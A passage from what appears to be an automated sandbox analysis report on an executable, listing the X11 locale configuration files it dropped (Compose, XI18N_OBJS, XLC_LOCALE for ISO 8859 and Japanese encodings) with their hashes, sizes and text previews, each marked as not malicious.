Preview:	# XLocale Database Sample for iso8859-5..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-5:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-5:GR..}..font.{...primary..ISO8859-5:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-5.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-5:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-5:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-6\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	4.644618979488227
Encrypted:	false
SSDEEP:	6:LWBo8L5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LCoSAe6ldo0+62XdUmhn
MD5:	186E31A5169F660EB7B6A00FE6A684DF
SHA1:	7C2AD80F37B57153184407F7C49817BEC38917E2
SHA-256:	40B2C0A4FEEBB2AE8D2D0668BA4729F5B9002BDEDF4D183CB7943BC0140FFA6B
SHA-512:	99F81C9F482E44C59BCE4066610FF22E95514C21E02BED381F34963933FFB1AC310071209194C3F6E62E062C9737553E488622A80DDA157A127CF1AB0D04C25F
Malicious:	false
Preview:	#.# ISO 8859-6 Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-6\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.222206786293507
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF4AsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMaJoeCXoXKfXoc9RwvIo8WJb
MD5:	8746730E8C5554C4C772263631C57213
SHA1:	74B70BB885248804A22C785976F3214CF9462E0F
SHA-256:	9A0E7916F30C06B7CCE0EC60F8BF3A7D80FB24CCB048A9EE161079A5DF2D160E
SHA-512:	DAE6898ED5989E2D4CB729B013C82611E679274F48C9A0268568838EAE249436C8BAF52063D280FA9FA177C70A5EB53B03FF0ECF8CB3AF988C9BC974D7C8F566
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for iso8859-6 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-6\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.258398423101713
Encrypted:	false
SSDEEP:	12:ea6wttckJWtevnUXE2n2qXi45U/2oJMhRYN4blcjdRahwqfDJ7/tR4cVGmvX7F6x:eNevWEa28NYixQQwqfDJ7/tOGGm/7F6x
MD5:	E0879BB4EEADA65754616BFBBDDC5C42
SHA1:	1235684EE36412237E4515EED83DD2FB5E9AF339
SHA-256:	D0DD3927F30D00D799FB0BE8E217262D801563D1F2D9DEA0F9674DD93913D954
SHA-512:	6A194C26DA64734C3C4C5F05A00DE695C413817500D23696E2AA6A6F56684F0F56D618067B74D98A9C27CB1CC8AA56B54819D8EA1D5744AD3C85FB048139778D
Malicious:	false
Preview:	# XLocale Database Sample for iso8859-6..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-6:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-6:GR..}..font.{...primary..ISO8859-6:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-6.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-6:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-6:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-7\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10669
Entropy (8bit):	5.096252900294047
Encrypted:	false
SSDEEP:	192:xG+U+u+gTvIvJxmxRBiJdwt5VK3OdHpkC+Argh9EhgCOZc+9cgg0wD5tZna:Q+U+u+gTAvJxmxXiJdwt5VK3S29
MD5:	2BDBC7C6E5C2E7842B44B637C4D0B6F7
SHA1:	54133F2CDAE0B9B0935B18B6CD396CBC70EB899D
SHA-256:	30216C11AE598A8A727643122E192CFE585A1AF740DB74C22641F5DAD1C2B403
SHA-512:	4D5F570B159E0C9073CA3B4ACAF629B2DA1036D6B75B1D905109D49E87AE68AA3291F7F13F39E8309F0E35AE451E10D6E767C368C2D40DD7AE2C8ACEB10F90D8
Malicious:	false
Preview:	#.# ISO 8859-7 (Greek) Compose Sequence.#.#.#.# Sequence Definition.#.# <Multi_key> Means <Compose>.# Special Character.<Multi_key> <plus> <plus>..: "#".numbersign.<Multi_key> <apostrophe> <space>.: "'".apostrophe.<Multi_key> <space> <apostrophe>.: "'".apostrophe.<Multi_key> <A> <T>...: "@".at.<Multi_key> <parenleft> <parenleft>.: "[".bracketleft.<Multi_key> <slash> <slash>..: "\\".backslash.<Multi_key> <slash> <less>..: "\\".backslash.<Multi_key> <less> <slash>..: "\\".backslash.<Multi_key> <parenright> <parenright>.: "]".bracketright.<Multi_key> <asciicircum> <space>.: "^".asciicircum.<Multi_key> <space> <asciicircum>.: "^".asciicircum.<Multi_key> <greater> <space>..: "^".asciicircum.<Multi_key> <space> <greater>..: "^".asciicircum.<Multi_key> <grave> <space>..: "`".grave.<Multi_key> <space> <grave>..: "`".grave.<Multi_key> <parenleft> <minus>..: "{".braceleft.<Multi_key> <minus> <parenleft>..: "{".braceleft.<Multi_key> <slash> <asciicircum>.: "\|".bar.<Multi_key> <asciicircum> <slash

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-7\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	5.127346897263227
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFjFsKnR8jKushnKwJJ1kWJL:/NqvnSIMhWAOKjFeWJL
MD5:	DF430BA0495815FC0641FA836B4D500D
SHA1:	C77EDC36F505F284455177A0ABF04C7DB4D9FCCF
SHA-256:	A8A0E42AAF0BC6365EC936DA183F3AB58784166F0155F8135265F926FE29A60D
SHA-512:	C9CBBD6FBA0E1195B36B84ECC509B6B84CFBDC288467F08EC4AEC2DCF20BA3AA8E8ED40B743E77169823C6F224E1A2D3B2BC6C1AEB99B580A66CFB75DF375598
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for euro locales.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/xiiimp._XimpLocalOpenIM.# XIM_open.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-7\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.252837661534454
Encrypted:	false
SSDEEP:	12:ea9wttckJWtevnUXE2G2qXi45UQ27JMhRYRblcjdRahwqfDJ7/tRTcVGmvX7F6RE:eAevWE728NnPeQQwqfDJ7/t5GGm/7F6e
MD5:	25905EFD3DF787802D5AF85B3C113621
SHA1:	08293482F22ADC6A79AA80159B390B747FCA3486
SHA-256:	1475CF6C2E0ADAE29811418AF32BC78BD8BAC1DA22CC6BAA998473CB6ED94D88
SHA-512:	E15BB6073B6702D92516CD077B872229670CFE3F044E47585C3480FA6E3A5D924881E65B6E265BC46F8EE81ECD6982AB17E38E6F5ED1ED8B5BF177EDFEAA43CE
Malicious:	false
Preview:	# XLocale Database Sample for iso8859-7..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-7:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-7:GR..}..font.{...primary..ISO8859-7:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-7.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-7:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-7:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-8\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	4.635674539546137
Encrypted:	false
SSDEEP:	6:LWBPfL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LCFAe6ldo0+62XdUmhn
MD5:	BDB732B18C08CE829BCB5DDFCFE5AFBF
SHA1:	9A7FD1707A444326C61F2E16C5EAD14C02DED1D2
SHA-256:	DD36AC4DCEA30FAED97BB2218AC6FB24BF937C4F6E5F3698CD6414DA26C62FEB
SHA-512:	7886FABE5AADEDBC1F0295CD2BEE53FC7F9DA16CB0AB64F8682038B09D15929F1D92CC7A519084DDD56231349863907C09DD61FD473A009AAB79D01749AA3C30
Malicious:	false
Preview:	#.# ISO 8859-8 Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-8\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.21269032735557
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF4usKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMajoeCXoXKfXoc9RwvIo8WJb
MD5:	E8C9AA5B6E10C9614BF97DF08A085ED5
SHA1:	A8C3BA11FB3B29E2F4820282D9F8EE671AB637D3
SHA-256:	0CE8F2B39E65030F2CF072CE9A4276F3B4F563D65F638BAE43A4EFCD3ED169E3
SHA-512:	500D0A92536C8D2437068ED3310D618B70FB2081D9D053BF12F6B22DC429982019EC73D843C2FDF7F35E928BBE34E3448ACACD489C4EA402C37B333A02BE6E4B
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for iso8859-8 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-8\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.229892136392937
Encrypted:	false
SSDEEP:	12:eaowttckJWtevnUXE2P52qXi45Ul2eJMhRYJ+blcjdRahwqfDJ7/tRqcVGmvX7Fs:eTevWEE28NeM7QQwqfDJ7/tUGGm/7F6D
MD5:	CDA07439E67141504782CD734FFE3346
SHA1:	883D16BA24AC1A742801790B2A008222B43F8620
SHA-256:	B130033DC6DC41D7491EBBBC8AB7F27FDF72EBAD0EBBA6C7D15E8A12F0FFC886
SHA-512:	02531544DB095B3713F4AC9E0241C18DBC384BA04BFB0B867243898C1DA53DB31EBC7395EB80E0805ED8D18355C7467AF5EA17D98BEBF18AFC002B9EB36EAC8C
Malicious:	false
Preview:	# XLocale Database Sample for iso8859-8..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-8:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-8:GR..}..font.{...primary..ISO8859-8:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-8.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-8:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-8:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-9\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21703
Entropy (8bit):	4.937625257262746
Encrypted:	false
SSDEEP:	384:d+U+u+lEWnTsozHbJxm9cE8y/D3f+FhkTMIyXwOt5VkDR/MzL7Rn7TaRGN:8L1lEsTssHbJxmND3f+bkTMDpN
MD5:	73BE32E7F5340662AF32EB3211545215
SHA1:	984FA0ED460C3431573C1A7F29B2EFEA635411DA
SHA-256:	9375264A5B8A080B511FA5D720EB25C021B06F0AFBE12574EF99675D95B6F722
SHA-512:	435B910F49506CD04BC63058AF0D5BD67047C1BE87C78B64548DB41A49C90B557A2D5FE1C86A9332897DB08313B50C6E8F5CD9EC944E4E3ADBEF1302871F29FD
Malicious:	false
Preview:	#.# ISO 8859-9 (Latin5) Compose Sequence.#.# Sequence Definition.#.#.# <Multi_key> Means <Compose>.# Special Character.<Multi_key> <plus> <plus>..: "#".numbersign.<Multi_key> <apostrophe> <space>.: "'".apostrophe.<Multi_key> <space> <apostrophe>.: "'".apostrophe.<Multi_key> <parenleft> <parenleft>.: "[".bracketleft.<Multi_key> <slash> <slash>..: "\\".backslash.<Multi_key> <slash> <less>..: "\\".backslash.<Multi_key> <less> <slash>..: "\\".backslash.<Multi_key> <parenright> <parenright>.: "]".bracketright.<Multi_key> <asciicircum> <space>.: "^".asciicircum.<Multi_key> <space> <asciicircum>.: "^".asciicircum.<Multi_key> <greater> <space>..: "^".asciicircum.<Multi_key> <space> <greater>..: "^".asciicircum.<Multi_key> <grave> <space>..: "`".grave.<Multi_key> <space> <grave>..: "`".grave.<Multi_key> <parenleft> <minus>..: "{".braceleft.<Multi_key> <minus> <parenleft>..: "{".braceleft.<Multi_key> <slash> <asciicircum>.: "\|".bar.<Multi_key> <asciicircum> <slash>.: "\|".bar.<Multi_key> <V> <L>.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-9\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	5.127346897263227
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFjFsKnR8jKushnKwJJ1kWJL:/NqvnSIMhWAOKjFeWJL
MD5:	DF430BA0495815FC0641FA836B4D500D
SHA1:	C77EDC36F505F284455177A0ABF04C7DB4D9FCCF
SHA-256:	A8A0E42AAF0BC6365EC936DA183F3AB58784166F0155F8135265F926FE29A60D
SHA-512:	C9CBBD6FBA0E1195B36B84ECC509B6B84CFBDC288467F08EC4AEC2DCF20BA3AA8E8ED40B743E77169823C6F224E1A2D3B2BC6C1AEB99B580A66CFB75DF375598
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for euro locales.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/xiiimp._XimpLocalOpenIM.# XIM_open.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-9\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.237150209677188
Encrypted:	false
SSDEEP:	24:emevWEj528N9BpeQQwqfDJ7/tfGGm/7F6o:zw5tBbQ1NH2
MD5:	CA4566B9BA2CB0FCE97CAD197C18ABBC
SHA1:	98C6BF5F21D6456F3E9D59537D735F0DC6B9C1F8
SHA-256:	3D8560D98DD9AB2807C620C9F2D43B67DF61B049934CECE06FA6A3C4E90BFA9C
SHA-512:	41A9D54360CACA723A596EFB074E314E3005A6771F5CF3B6222E4B64A6C1A98C1956B1B697F5DDFBEC33F4BF6DF606FD486FA7083C1FE3AD4D07BA34CAA8F745
Malicious:	false
Preview:	# XLocale Database Sample for iso8859-9..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-9:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-9:GR..}..font.{...primary..ISO8859-9:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-9.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-9:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-9:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-9e\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	22291
Entropy (8bit):	4.933510649783431
Encrypted:	false
SSDEEP:	384:J+U+u+lAWnTsozHbJxm9cE8y5D3f+FhkTM7yXwOt5VkDR/MzL7Rn7TPRfN:gL1lAsTssHbJxmPD3f+bkTMM/N
MD5:	CA966808C4D55461077D8F2BBC0D30A4
SHA1:	927CCD560E19F1D25E83C094E1B74FF08B6FF334
SHA-256:	B9EDD9F66AD87347746F5BF9CBEB14C184D4AD758CBCC7F009F2F1F5A7FAE5AA
SHA-512:	96353ACC0E9C5411238A6D6CE89D509EE9EC77B4114B28A1473E0B8F178F88F52D8A207705F356679596FE0F23F558FD2976271738BDD5D8BA75301C84CF8BFC
Malicious:	false
Preview:	#.# ISO 8859-9e (Latin??) Compose Sequence.#.# Sequence Definition.#.#.# <Multi_key> Means <Compose>.# Special Character.<Multi_key> <plus> <plus>..: "#".numbersign.<Multi_key> <apostrophe> <space>.: "'".apostrophe.<Multi_key> <space> <apostrophe>.: "'".apostrophe.<Multi_key> <parenleft> <parenleft>.: "[".bracketleft.<Multi_key> <slash> <slash>..: "\\".backslash.<Multi_key> <slash> <less>..: "\\".backslash.<Multi_key> <less> <slash>..: "\\".backslash.<Multi_key> <parenright> <parenright>.: "]".bracketright.<Multi_key> <asciicircum> <space>.: "^".asciicircum.<Multi_key> <space> <asciicircum>.: "^".asciicircum.<Multi_key> <greater> <space>..: "^".asciicircum.<Multi_key> <space> <greater>..: "^".asciicircum.<Multi_key> <grave> <space>..: "`".grave.<Multi_key> <space> <grave>..: "`".grave.<Multi_key> <parenleft> <minus>..: "{".braceleft.<Multi_key> <minus> <parenleft>..: "{".braceleft.<Multi_key> <slash> <asciicircum>.: "\|".bar.<Multi_key> <asciicircum> <slash>.: "\|".bar.<Multi_key> <V> <L

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-9e\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.212034861089242
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF4RGtsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMaRoeCXoXKfXoc9RwvIo8WJb
MD5:	4487CF51720D67BD5DEB743510CC8466
SHA1:	06872ADA79A421E5B53775F99D1F14AE833D66AC
SHA-256:	60D666759D2B03246D52E5D4DF2AE3DD018E8DE6BE4CA8240F9ADAFF1CB695AA
SHA-512:	B24E6B6A2641D36416F192C6182A7E24FE0D7245C2F216B4B7B73B372FBF42487D10C14D978498D194960C3FB4D1EE045F66542BA6FC99BFE653DE8B86009F17
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for iso8859-9e locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-9e\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	961
Entropy (8bit):	5.306974660694373
Encrypted:	false
SSDEEP:	24:eiEevWEQ28NNEZ5vDuO4bQQwqfDJ7/t+GGm/7F6h:4w5QpEZ5vDuOs1Nmb
MD5:	F43166F0947D9337F1CE3BF311ACDCBA
SHA1:	00EE119417D594EF51CDADC16ECF01BE0AD97B74
SHA-256:	9080220F9899856E9DE71A78FBB8FD464FF4C580D2F62BEE0F6D63596FF712E5
SHA-512:	75812702ABF77DDAB3A69E13169FE400C8E0944BFD3F66B570C3D3E6CF07AFD9D0D4B3B69B64F8AAE5979F7B3804E7EFE1057DB1ED39E7FB55695F8D0EDC0875
Malicious:	false
Preview:	# XLocale Database Sample for iso8859-9e..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-9E:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-9E:GR..}..font.{...primary..ISO8859-9E:GR..}.}.END XLC_FONTSET.#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.ISO8859-9E..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-9E.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-9E:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-9E:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja.JIS\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	304
Entropy (8bit):	4.5749569347819135
Encrypted:	false
SSDEEP:	6:LVL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LHAe6ldo0+62XdUmhn
MD5:	79E0766F785AA93D5298880726DBF8E3
SHA1:	BE249CC35B809DAECB1CBD808C1EEDBF2D3071DD
SHA-256:	301051D548AFDA9B5576FEA40866BCB165CEFA361991E500AACF028A4259FC33
SHA-512:	E56F3CFA03F93E1DB3DFD7C909CDDA5518968478AC80E8A8B2F71FEB2356F355DB65AB8691C22CA2EF00CEBBF8BC31681BB4BD1150AB6EF9A74E443E285BECA1
Malicious:	false
Preview:	#.# ja.JIS Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja.JIS\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.177239661679579
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF8PdtsKnR8jLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMOPdeAOeCXoXKfXoc9RwvIo8Q
MD5:	0FE34725BD8044902A7B7F13F04E33BA
SHA1:	5B8FB44B7492B58A0ABDD3091AE67D26AD2E029D
SHA-256:	F4BE662F6DD770EA360A6CDE97AF797F44DA2BDFFE83C644EDDA9A9891EE53AD
SHA-512:	245662BD3E263AFC09597B1C4E5E09AAD47689590D2BABAE552EDAFF2CBDF11447EC03C12B618D768B88FDF9F5566004CEC14515FEB0DED15843D53212A7AF0D
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for ja.JIS locale.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja.JIS\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	5.408891906128222
Encrypted:	false
SSDEEP:	24:dOE6WEIg2yyK2rEQf+r97Ij4ADQQwqfDJ7h6xX6FtwfGmr626EZR26DwU6+1j:b65lWKAfwIc+1XwiB0bD2nUN
MD5:	5E514BCE8270D054AAF920C75CD8013B
SHA1:	023B0AE96032617BC86C789C8C54B0FD0622D012
SHA-256:	3E1E43366A9F056C3258AACF9E899C36E4BA6787E23ED04B983FB0E6B1E9180A
SHA-512:	BFE4E702418885EFFAB1CD373EE966EE5458C9134BA89FA81CD08B40A1DC5C5651FE2D7202878DE114C3CBD50E684016943DD48E070004948A9D5610FACABBAA
Malicious:	false
Preview:	# .# XLocale Database Sample for ja_JP.jis.# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-1:GL...substitute.JISX0201.1976-0:GL...vertical_rotate.all..}.}.# .fs1 class (Kanji).fs1.{..charset.{...name..JISX0208.1983-0:GL..}..font.{...primary..JISX0208.1983-0:GL...substitute JISX0208.1990-0:GL..}.}.# .fs2 class (Half Kana).fs2.{..charset.{...name..JISX0201.1976-0:GR..}..font.{...primary..JISX0201.1976-0:GR...substitute JISX0201.1976-0:GR...vertical_rotate.all..}.}.# .fs3 class (Supplementary Kanji).# fs3.{.#.charset.{.#..name..JISX0212.1990-0:GL.#.}.#.font.{.#..primary..JISX0212.1990-0:GL.#.}.# }.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ja.jis.mb_cur_max..5.state_depend_encoding.True..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..mb_encoding.<LSL> \x1b \

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja.S90\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
